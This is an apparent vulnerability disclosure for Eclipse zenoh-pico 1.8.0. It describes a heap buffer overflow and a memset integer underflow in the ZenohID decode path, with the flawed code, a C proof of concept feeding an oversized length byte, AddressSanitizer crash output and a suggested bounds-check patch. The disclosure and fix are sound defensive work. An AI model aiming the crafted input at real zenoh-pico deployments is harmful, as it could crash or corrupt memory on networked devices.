[Eclipse zenoh-pico] 3 Heap buffer overflow in ZenohID decode paths (message.c)
### Basic information
Project name: Eclipse zenoh-pico
Project id: iot.zenoh
### What are the affected versions?
Confirmed in version 1.8.0 (source audit). The vulnerable function _z_id_decode_as_slice is present on the current main branch. All versions containing this function are likely affected.
### Details of the issue
A heap buffer overflow exists in _z_id_decode_as_slice() in src/protocol/codec/message.c (lines 77–82). The function reads a length byte directly from the network input buffer and uses it to copy data into a fixed-size 16-byte array (_z_id_t.id[ZENOH_ID_SIZE]) without validating that the length does not exceed 16.
cz_result_t _z_id_decode_as_slice(_z_id_t *id, _z_zbuf_t *zbf) {
z_result_t ret = _Z_RES_OK;
uint8_t len = _z_zbuf_read(zbf); // attacker-controlled: 0–255
_z_zbuf_read_bytes(zbf, id->id, 0, len); // id->id is uint8_t[16]
memset(id->id + len, 0, 16 - len); // integer underflow when len > 16
return ret;
}
This causes two issues:
- Heap buffer overflow (CWE-122): When len > 16, _z_zbuf_read_bytes writes up to 255 bytes into the 16-byte id->id buffer, corrupting adjacent heap memory.
- Integer underflow in memset (CWE-787): The expression 16 - len underflows to a very large size_t value when len > 16, causing memset to write far beyond the buffer.
### PoC
```
#include "zenoh-pico/protocol/codec/core.h"
#include "zenoh-pico/protocol/iobuf.h"
#include "zenoh-pico/protocol/core.h"
int main(void) {
uint8_t malicious_len = 200;
size_t buf_size = 1 + 1 + malicious_len;
_z_zbuf_t zbf = _z_zbuf_make(buf_size);
_z_iosli_write(&zbf._ios, 0x01); // VLE time = 1
_z_iosli_write(&zbf._ios, malicious_len); // id length = 200 (> 16!)
for (int i = 0; i < malicious_len; i++)
_z_iosli_write(&zbf._ios, 0x41); // fill data
_z_timestamp_t *ts = malloc(sizeof(_z_timestamp_t));
memset(ts, 0, sizeof(*ts));
_z_timestamp_decode(ts, &zbf); // triggers heap-buffer-overflow
free(ts);
_z_zbuf_clear(&zbf);
}
```
### ASAN
```
poc-1 | zenoh-pico version: 1.8.0
poc-1 | Built with -DNDEBUG (asserts removed) + ASAN
poc-1 |
poc-1 | === zenoh-pico _z_id_decode_as_slice Heap Overflow PoC ===
poc-1 |
poc-1 | ZENOH_ID_SIZE = 16 bytes
poc-1 |
poc-1 | Buffer crafted: VLE(time=1) + len=200 + 200 bytes data
poc-1 | id->id buffer: 16 bytes
poc-1 | Overflow: 184 bytes past end
poc-1 |
poc-1 | ts at 0x503000000040, ts->id.id at 0x503000000041 (16 bytes)
poc-1 | sizeof(_z_timestamp_t) = 32
poc-1 |
poc-1 | >>> Calling _z_timestamp_decode — expect ASAN heap-buffer-overflow <<<
poc-1 |
poc-1 | =================================================================
poc-1 | ==8==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000000060 at pc 0x7ffff76092c3 bp 0x7fffffffea80 sp 0x7fffffffe228
poc-1 | WRITE of size 200 at 0x503000000060 thread T0
poc-1 | #0 0x7ffff76092c2 in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827
poc-1 | #1 0x55555556e8df in _z_iosli_read_bytes /build/zenoh-pico/include/zenoh-pico/protocol/iobuf.h:79
poc-1 | #2 0x5555555705d2 in _z_zbuf_read_bytes /build/zenoh-pico/src/protocol/iobuf.c:163
poc-1 | #3 0x55555555b3d4 in _z_id_decode_as_slice /build/zenoh-pico/src/protocol/codec/message.c:80
poc-1 | #4 0x55555555b5ea in _z_timestamp_decode /build/zenoh-pico/src/protocol/codec/message.c:107
poc-1 | #5 0x55555555a2e5 in main /build/poc/poc_overflow.c:71
poc-1 | #6 0x7ffff72e8d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f)
poc-1 | #7 0x7ffff72e8e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f)
poc-1 | #8 0x555555559da4 in _start (/build/poc/poc_overflow+0x5da4)
poc-1 |
poc-1 | 0x503000000060 is located 0 bytes to the right of 32-byte region [0x503000000040,0x503000000060)
poc-1 | allocated by thread T0 here:
poc-1 | #0 0x7ffff7683887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
poc-1 | #1 0x55555555a202 in main /build/poc/poc_overflow.c:60
poc-1 | #2 0x7ffff72e8d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f)
poc-1 |
poc-1 | SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827 in __interceptor_memcpy
poc-1 | Shadow bytes around the buggy address:
poc-1 | 0x0a067fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
poc-1 | 0x0a067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
poc-1 | 0x0a067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
poc-1 | 0x0a067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
poc-1 | 0x0a067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
poc-1 | =>0x0a067fff8000: fa fa 00 00 00 fa fa fa 00 00 00 00[fa]fa fa fa
poc-1 | 0x0a067fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
poc-1 | 0x0a067fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
poc-1 | 0x0a067fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
poc-1 | 0x0a067fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
poc-1 | 0x0a067fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
poc-1 | Shadow byte legend (one shadow byte represents 8 application bytes):
poc-1 | Addressable: 00
poc-1 | Partially addressable: 01 02 03 04 05 06 07
poc-1 | Heap left redzone: fa
poc-1 | Freed heap region: fd
poc-1 | Stack left redzone: f1
poc-1 | Stack mid redzone: f2
poc-1 | Stack right redzone: f3
poc-1 | Stack after return: f5
poc-1 | Stack use after scope: f8
poc-1 | Global redzone: f9
poc-1 | Global init order: f6
poc-1 | Poisoned by user: f7
poc-1 | Container overflow: fc
poc-1 | Array cookie: ac
poc-1 | Intra object redzone: bb
poc-1 | ASan internal: fe
poc-1 | Left alloca redzone: ca
poc-1 | Right alloca redzone: cb
poc-1 | Shadow gap: cc
poc-1 | ==8==ABORTING
```
### patch
The fix should validate len before using it in _z_id_decode_as_slice. A suggested patch:
```
cz_result_t _z_id_decode_as_slice(_z_id_t *id, _z_zbuf_t *zbf) {
z_result_t ret = _Z_RES_OK;
uint8_t len = _z_zbuf_read(zbf);
if (len > ZENOH_ID_SIZE || _z_zbuf_len(zbf) < len) {
return _Z_ERR_MESSAGE_DESERIALIZATION_FAILED;
}
_z_zbuf_read_bytes(zbf, id->id, 0, len);
memset(id->id + len, 0, ZENOH_ID_SIZE - len);
return ret;
}
```
issue
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